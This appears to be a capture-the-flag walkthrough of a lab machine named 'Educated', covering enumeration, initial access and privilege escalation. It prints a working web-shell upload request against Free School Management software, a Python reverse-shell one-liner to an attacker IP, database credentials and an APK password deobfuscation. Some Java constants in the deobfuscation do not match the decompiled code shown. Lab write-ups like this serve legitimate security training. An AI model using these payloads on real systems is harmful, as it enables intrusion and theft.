In this walk through, we will be going through the Educated room from Proving Grounds. This room is rated as Intermediate on the platform and it consist of exploitation via RCE in Free School Management software to get initial access. Next, we performed lateral movement to a user using DB Creds and local database enumeration and at last perform another lateral movement and privilege escalation by getting the user password from disassembled APK source code. So, let’s get started without any delay.
Table of Contents
Machine Info:
Title | Educated |
IPaddress | 192.168.239.13 |
Difficulty | Intermediate |
OS | Linux |
Description | Educated is an Intermediate level Linux machine that is vulnerable to a RCE exploit in its Free School Management software. Next, we will have to perform lateral movement to a user using DB Creds and local database enumeration and at last perform another lateral movement and privilege escalation by getting the user password from disassembled APK source code. |
Enumeration:
- I started off with a regular aggressive nmap scan and found only two ports opened – 22 (SSH) and 80 (HTTP).
$ sudo nmap -A 192.168.239.13 [sudo] password for wh1terose: Starting Nmap 7.80 ( https://nmap.org ) at 2024-01-24 12:45 IST sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 192.168.239.13, 16) => Operation not permitted Offending packet: TCP 192.168.45.243:35550 > 192.168.239.13:53 S ttl=41 id=33875 iplen=44 seq=958195516 win=1024 <mss 1460> sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 192.168.239.13, 16) => Operation not permitted Offending packet: TCP 192.168.45.243:35551 > 192.168.239.13:53 S ttl=40 id=45788 iplen=44 seq=958261053 win=1024 <mss 1460> sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 192.168.239.13, 16) => Operation not permitted Offending packet: TCP 192.168.45.243:35552 > 192.168.239.13:53 S ttl=41 id=57110 iplen=44 seq=958326590 win=1024 <mss 1460> Nmap scan report for 192.168.239.13 Host is up (0.20s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:8.2p1: | CVE-2020-15778 6.8 https://vulners.com/cve/CVE-2020-15778 | C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 6.8 https://vulners.com/githubexploit/C94132FD-1FA5-5342-B6EE-0DAF45EEFFE3 *EXPLOIT* | 10213DBE-F683-58BB-B6D3-353173626207 6.8 https://vulners.com/githubexploit/10213DBE-F683-58BB-B6D3-353173626207 *EXPLOIT* | PRION:CVE-2020-12062 5.0 https://vulners.com/prion/PRION:CVE-2020-12062 | PRION:CVE-2016-20012 5.0 https://vulners.com/prion/PRION:CVE-2016-20012 | CVE-2020-12062 5.0 https://vulners.com/cve/CVE-2020-12062 | PRION:CVE-2021-28041 4.6 https://vulners.com/prion/PRION:CVE-2021-28041 | CVE-2021-28041 4.6 https://vulners.com/cve/CVE-2021-28041 | PRION:CVE-2020-15778 4.4 https://vulners.com/prion/PRION:CVE-2020-15778 | CVE-2021-41617 4.4 https://vulners.com/cve/CVE-2021-41617 | PRION:CVE-2020-14145 4.3 https://vulners.com/prion/PRION:CVE-2020-14145 | CVE-2020-14145 4.3 https://vulners.com/cve/CVE-2020-14145 | CVE-2016-20012 4.3 https://vulners.com/cve/CVE-2016-20012 | PRION:CVE-2021-41617 3.5 https://vulners.com/prion/PRION:CVE-2021-41617 | PRION:CVE-2021-36368 2.6 https://vulners.com/prion/PRION:CVE-2021-36368 |_ CVE-2021-36368 2.6 https://vulners.com/cve/CVE-2021-36368 53/tcp filtered domain 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Wisdom Elementary School | vulners: | cpe:/a:apache:http_server:2.4.41: | PACKETSTORM:171631 7.5 https://vulners.com/packetstorm/PACKETSTORM:171631 *EXPLOIT* | EDB-ID:51193 7.5 https://vulners.com/exploitdb/EDB-ID:51193 *EXPLOIT* | CVE-2022-31813 7.5 https://vulners.com/cve/CVE-2022-31813 | CVE-2022-23943 7.5 https://vulners.com/cve/CVE-2022-23943 | CVE-2022-22720 7.5 https://vulners.com/cve/CVE-2022-22720 | CVE-2021-44790 7.5 https://vulners.com/cve/CVE-2021-44790 | CVE-2021-39275 7.5 https://vulners.com/cve/CVE-2021-39275 | CVE-2021-26691 7.5 https://vulners.com/cve/CVE-2021-26691 | CVE-2020-11984 7.5 https://vulners.com/cve/CVE-2020-11984 | CNVD-2022-73123 7.5 https://vulners.com/cnvd/CNVD-2022-73123 | CNVD-2022-03225 7.5 https://vulners.com/cnvd/CNVD-2022-03225 | CNVD-2021-102386 7.5 https://vulners.com/cnvd/CNVD-2021-102386 | 1337DAY-ID-38427 7.5 https://vulners.com/zdt/1337DAY-ID-38427*EXPLOIT* | 1337DAY-ID-34882 7.5 https://vulners.com/zdt/1337DAY-ID-34882*EXPLOIT* | FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8 6.8 https://vulners.com/githubexploit/FDF3DFA1-ED74-5EE2-BF5C-BA752CA34AE8 *EXPLOIT* | CVE-2021-40438 6.8 https://vulners.com/cve/CVE-2021-40438 | CVE-2020-35452 6.8 https://vulners.com/cve/CVE-2020-35452 | CNVD-2022-03224 6.8 https://vulners.com/cnvd/CNVD-2022-03224 | AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C 6.8 https://vulners.com/githubexploit/AE3EF1CC-A0C3-5CB7-A6EF-4DAAAFA59C8C *EXPLOIT* | 8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 6.8 https://vulners.com/githubexploit/8AFB43C5-ABD4-52AD-BB19-24D7884FF2A2 *EXPLOIT* | 4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332 6.8 https://vulners.com/githubexploit/4810E2D9-AC5F-5B08-BFB3-DDAFA2F63332 *EXPLOIT* | 4373C92A-2755-5538-9C91-0469C995AA9B 6.8 https://vulners.com/githubexploit/4373C92A-2755-5538-9C91-0469C995AA9B *EXPLOIT* | 36618CA8-9316-59CA-B748-82F15F407C4F 6.8 https://vulners.com/githubexploit/36618CA8-9316-59CA-B748-82F15F407C4F *EXPLOIT* | 0095E929-7573-5E4A-A7FA-F6598A35E8DE 6.8 https://vulners.com/githubexploit/0095E929-7573-5E4A-A7FA-F6598A35E8DE *EXPLOIT* | OSV:BIT-2023-31122 6.4 https://vulners.com/osv/OSV:BIT-2023-31122 | CVE-2022-28615 6.4 https://vulners.com/cve/CVE-2022-28615 | CVE-2021-44224 6.4 https://vulners.com/cve/CVE-2021-44224 | CVE-2022-22721 5.8 https://vulners.com/cve/CVE-2022-22721 | CVE-2020-1927 5.8 https://vulners.com/cve/CVE-2020-1927 | CVE-2022-36760 5.1 https://vulners.com/cve/CVE-2022-36760 | OSV:BIT-2023-45802 5.0 https://vulners.com/osv/OSV:BIT-2023-45802 | OSV:BIT-2023-43622 5.0 https://vulners.com/osv/OSV:BIT-2023-43622 | F7F6E599-CEF4-5E03-8E10-FE18C4101E38 5.0 https://vulners.com/githubexploit/F7F6E599-CEF4-5E03-8E10-FE18C4101E38 *EXPLOIT* | E5C174E5-D6E8-56E0-8403-D287DE52EB3F 5.0 https://vulners.com/githubexploit/E5C174E5-D6E8-56E0-8403-D287DE52EB3F *EXPLOIT* | DB6E1BBD-08B1-574D-A351-7D6BB9898A4A 5.0 https://vulners.com/githubexploit/DB6E1BBD-08B1-574D-A351-7D6BB9898A4A *EXPLOIT* | CVE-2022-37436 5.0 https://vulners.com/cve/CVE-2022-37436 | CVE-2022-30556 5.0 https://vulners.com/cve/CVE-2022-30556 | CVE-2022-29404 5.0 https://vulners.com/cve/CVE-2022-29404 | CVE-2022-28614 5.0 https://vulners.com/cve/CVE-2022-28614 | CVE-2022-26377 5.0 https://vulners.com/cve/CVE-2022-26377 | CVE-2022-22719 5.0 https://vulners.com/cve/CVE-2022-22719 | CVE-2021-36160 5.0 https://vulners.com/cve/CVE-2021-36160 | CVE-2021-34798 5.0 https://vulners.com/cve/CVE-2021-34798 | CVE-2021-33193 5.0 https://vulners.com/cve/CVE-2021-33193 | CVE-2021-30641 5.0 https://vulners.com/cve/CVE-2021-30641 | CVE-2021-26690 5.0 https://vulners.com/cve/CVE-2021-26690 | CVE-2020-9490 5.0 https://vulners.com/cve/CVE-2020-9490 | CVE-2020-1934 5.0 https://vulners.com/cve/CVE-2020-1934 | CVE-2020-13950 5.0 https://vulners.com/cve/CVE-2020-13950 | CVE-2019-17567 5.0 https://vulners.com/cve/CVE-2019-17567 | CVE-2006-20001 5.0 https://vulners.com/cve/CVE-2006-20001 | CNVD-2023-93320 5.0 https://vulners.com/cnvd/CNVD-2023-93320 | CNVD-2023-80558 5.0 https://vulners.com/cnvd/CNVD-2023-80558 | CNVD-2022-73122 5.0 https://vulners.com/cnvd/CNVD-2022-73122 | CNVD-2022-53584 5.0 https://vulners.com/cnvd/CNVD-2022-53584 | CNVD-2022-53582 5.0 https://vulners.com/cnvd/CNVD-2022-53582 | CNVD-2022-03223 5.0 https://vulners.com/cnvd/CNVD-2022-03223 | C9A1C0C1-B6E3-5955-A4F1-DEA0E505B14B 5.0 https://vulners.com/githubexploit/C9A1C0C1-B6E3-5955-A4F1-DEA0E505B14B *EXPLOIT* | BD3652A9-D066-57BA-9943-4E34970463B9 5.0 https://vulners.com/githubexploit/BD3652A9-D066-57BA-9943-4E34970463B9 *EXPLOIT* | B0208442-6E17-5772-B12D-B5BE30FA5540 5.0 https://vulners.com/githubexploit/B0208442-6E17-5772-B12D-B5BE30FA5540 *EXPLOIT* | A820A056-9F91-5059-B0BC-8D92C7A31A52 5.0 https://vulners.com/githubexploit/A820A056-9F91-5059-B0BC-8D92C7A31A52 *EXPLOIT* | 9814661A-35A4-5DB7-BB25-A1040F365C81 5.0 https://vulners.com/githubexploit/9814661A-35A4-5DB7-BB25-A1040F365C81 *EXPLOIT* | 5A864BCC-B490-5532-83AB-2E4109BB3C31 5.0 https://vulners.com/githubexploit/5A864BCC-B490-5532-83AB-2E4109BB3C31 *EXPLOIT* | 17C6AD2A-8469-56C8-BBBE-1764D0DF1680 5.0 https://vulners.com/githubexploit/17C6AD2A-8469-56C8-BBBE-1764D0DF1680 *EXPLOIT* | CVE-2020-11993 4.3 https://vulners.com/cve/CVE-2020-11993 |_ 1337DAY-ID-35422 4.3 https://vulners.com/zdt/1337DAY-ID-35422*EXPLOIT* No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=1/24%OT=22%CT=1%CU=32435%PV=Y%DS=4%DC=T%G=Y%TM=65B0B94 OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%II=I%TS=A)SEQ(SP=1 OS:06%GCD=1%ISR=10B%TI=Z%TS=B)OPS(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT1 OS:1NW7%O4=M54EST11NW7%O5=M54EST11NW7%O6=M54EST11)WIN(W1=FE88%W2=FE88%W3=FE OS:88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q= OS:)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y OS:%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=16 OS:4%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=9134%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 4 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 8888/tcp) HOP RTT ADDRESS 1 204.98 ms 192.168.45.1 2 204.93 ms 192.168.45.254 3 205.57 ms 192.168.251.1 4 205.70 ms 192.168.239.13 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 46.73 seconds
- Enumerated the web server running on port 80 and found a static website.
- Fired gobuster on the target to reveal some hidden directories and fond an interesting one – /management.
gobuster dir -u http://192.168.239.13/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
- Accessing the newly found directory reveals a login page.
- Performed a recursive directory search using gobuster on the target that reveals more hidden directories.
gobuster dir -u http://192.168.239.13/management/ -w ~/Desktop/Wordlist/SecLists/Discovery/Web-Content/raft-small-directories-lowercase.txt
- The “installation” directory contains a default install guide that contains some default passwords. I tried all of them but none of them worked on the login panel.
- Next, found a sql database in installation directory but got another dead end there.
Initial Access:
- Searched for any known exploits related to “Free School Management” software. Found a potential RCE.
searchsploit Free School Management
- To perform the exploitation, captured the request via Burpsuite.
- Changed the request with the below payload and forwarded it to the server.
POST /management/admin/examQuestion/create HTTP/1.1 Host: 192.168.239.13 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------183813756938980137172117669544 Content-Length: 1330 Connection: close Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="name" test4 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="class_id" 2 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="subject_id" 5 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="timestamp" 2021-12-08 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="teacher_id" 1 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="file_type" txt -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="status" 1 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="description" 123123 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="_wysihtml5_mode" 1 -----------------------------183813756938980137172117669544 Content-Disposition: form-data; name="file_name"; filename="cmd.php" Content-Type: application/octet-stream <?php system($_GET["cmd"]); ?> -----------------------------183813756938980137172117669544--
- Next, we can access the web shell with the below URL.
http://192.168.239.13/management/uploads/exam_question/cmd.php?cmd=id
- Used the below python snipped to get a reverse shell back at our netcat listener.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.45.225",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Lateral Movement (msander):
- Once we landed on the shell. Looked inside the database.php file and found the DB username and password.
cd /var/www/html/management/application/config/ cat database.php
school: @jCma4s8ZM<?kA
- Accessed the Database with them and dumped the hashes available in it from admin, student and teacher tables.
mysql -u school -p @jCma4s8ZM<?kA show databases; use school_mgment; show tables; select * from admin; select * from student; select * from teacher;
- Cracked one of the password successfully belongs to user msander using Crackstation.
msander: greatteacher123
- Switched to the user account with the found password and captured the local flag.
Privilege Escalation:
- Next, i used LinPEAS to enumerate some potential Privilege escalation vectors but found nothing useful. As per the below output, we can see that we have one more user named emiller.
- Looking inside the emiller home directory gives us a APK file. – grade-app.apk.
- Use a disassembler to look inside the APK source code.
public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ @Override // androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, androidx.fragment.app.FragmentActivity public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); } private boolean l1l111l11l1l1(String l1l111l11l1111, String l1l111l11l1l111l) { return l1l111l11l1111.equals(new Object() { /* class com.msander.myapplication.MainActivity.AnonymousClass1 */ int t; public String toString() { this.t = -1691611021; this.t = -388332697; this.t = -175293017; this.t = 965575909; this.t = -1531226431; this.t = -2090481350; this.t = -342777198; return new String(new byte[]{(byte) (-1691611021 >>> 19), (byte) (-388332697 >>> 17), (byte) (-175293017 >>> 2), (byte) (965575909 >>> 13), (byte) (-1531226431 >>> 4), (byte) (-2090481350 >>> 16), (byte) (-342777198 >>> 19)}); } }.toString()) && l1l111l11l1l111l.equals(new Object() { /* class com.msander.myapplication.MainActivity.AnonymousClass2 */ int t; public String toString() { this.t = -737755884; this.t = 1346845995; this.t = 492051071; this.t = -705001745; this.t = -1140055086; this.t = 986637890; this.t = -1733676975; this.t = 318032292; this.t = 1945052261; this.t = -1693717788; this.t = -1442653407; this.t = -476480218; this.t = -1486651707; this.t = 829541732; this.t = 167650521; this.t = 671012937; this.t = 1486444304; this.t = -2040946586; this.t = 445662342; this.t = 554214723; return new String(new byte[]{(byte) (-737755884 >>> 2), (byte) (1346845995 >>> 7), (byte) (492051071 >>> 14), (byte) (-705001745 >>> 1), (byte) (-1140055086 >>> 3), (byte) (986637890 >>> 5), (byte) (-1733676975 >>> 8), (byte) (318032292 >>> 10), (byte) (1945052261 >>> 1), (byte) (-1693717788 >>> 13), (byte) (-1442653407 >>> 3), (byte) (-476480218 >>> 14), (byte) (-1486651707 >>> 20), (byte) (829541732 >>> 24), (byte) (167650521 >>> 8), (byte) (671012937 >>> 1), (byte) (1486444304 >>> 15), (byte) (-2040946586 >>> 1), (byte) (445662342 >>> 2), (byte) (554214723 >>> 24)}); } }.toString()); } public void lll1ll11111111l1(View v) { Intent myIntent = new Intent(this, DashboardActivity.class); if (l1l111l11l1l1(((EditText) findViewById(R.id.l1l111l11l1l1)).getText().toString(), ((EditText) findViewById(R.id.l1l111l1ll1l1)).getText().toString())) { finish(); startActivity(myIntent); return; } Toast.makeText(getBaseContext(), "Invalid login!", 1).show(); } }
Some part of it is obfuscated. Opening the app, we see that the MainActivity
realizes a login.
We assume that the function l1l111l11l1l1
taking two arguments from the EditText, is responsible for the login.
Both of these values are getting compared to static values. We can retrieve these through creatig a small java application, printing the following values:
public class Main { public static void main(String[] args) { String a1 = new Object() { /* class com.msander.myapplication.MainActivity.AnonymousClass1 */ int t; public String toString() { this.t = -1821595569; this.t = 1943840462; this.t = 477502358; this.t = -849818149; this.t = -677815514; this.t = 1200403552; this.t = 1542172901; return new String(new byte[]{(byte) (-1821595569 >>> 19), (byte) (1943840462 >>> 24), (byte) (477502358 >>> 12), (byte) (-849818149 >>> 5), (byte) (-677815514 >>> 3), (byte) (1200403552 >>> 13), (byte) (1542172901 >>> 1)}); } }.toString(); String a2 = new Object() { /* class com.msander.myapplication.MainActivity.AnonymousClass2 */ int t; public String toString() { this.t = -737755884; this.t = 1346845995; this.t = 492051071; this.t = -705001745; this.t = -1140055086; this.t = 986637890; this.t = -1733676975; this.t = 318032292; this.t = 1945052261; this.t = -1693717788; this.t = -1442653407; this.t = -476480218; this.t = -1486651707; this.t = 829541732; this.t = 167650521; this.t = 671012937; this.t = 1486444304; this.t = -2040946586; this.t = 445662342; this.t = 554214723; return new String(new byte[]{(byte) (-737755884 >>> 2), (byte) (1346845995 >>> 7), (byte) (492051071 >>> 14), (byte) (-705001745 >>> 1), (byte) (-1140055086 >>> 3), (byte) (986637890 >>> 5), (byte) (-1733676975 >>> 8), (byte) (318032292 >>> 10), (byte) (1945052261 >>> 1), (byte) (-1693717788 >>> 13), (byte) (-1442653407 >>> 3), (byte) (-476480218 >>> 14), (byte) (-1486651707 >>> 20), (byte) (829541732 >>> 24), (byte) (167650521 >>> 8), (byte) (671012937 >>> 1), (byte) (1486444304 >>> 15), (byte) (-2040946586 >>> 1), (byte) (445662342 >>> 2), (byte) (554214723 >>> 24)}); } }.toString(); System.out.printf("%s:%s", a1, a2); } }
emiller: EzPwz2022_dev1$$23!!
- With the found emiller password, switched to her account and listed the sudo misconfiguration using the sudo -l command that reveals that we can run all commands as root without any password.
- Switched user to root and captured the root flag.
Also Read: PG – DC-9
Conclusion:
So that was “Educated” for you. We started off with a regular nmap scan and found two ports opened – 22 (SSH) and 80 (HTTP). Enumerated the web server on port 80 and found a Free School Management software. Looked online for any known exploit related to it and found that it is vulnerable to RCE. Used the same to get the initial access. Next, found a DB creds in database.php file. Using that accessed the DB and found the hashed password for user msander. Cracked it using crackstation and used it to move laterally to user msander. Moving on, found a APK file named grade-app.apk. Disassembled it and found the user emiller password. Switched the user to the same and checked for any sudo misconfiguration. Found out that, we can switch user to root without any password. Performed the same and got root. On that note, i would take your leave and will meet you in next one. Till then, “Happy hacking”.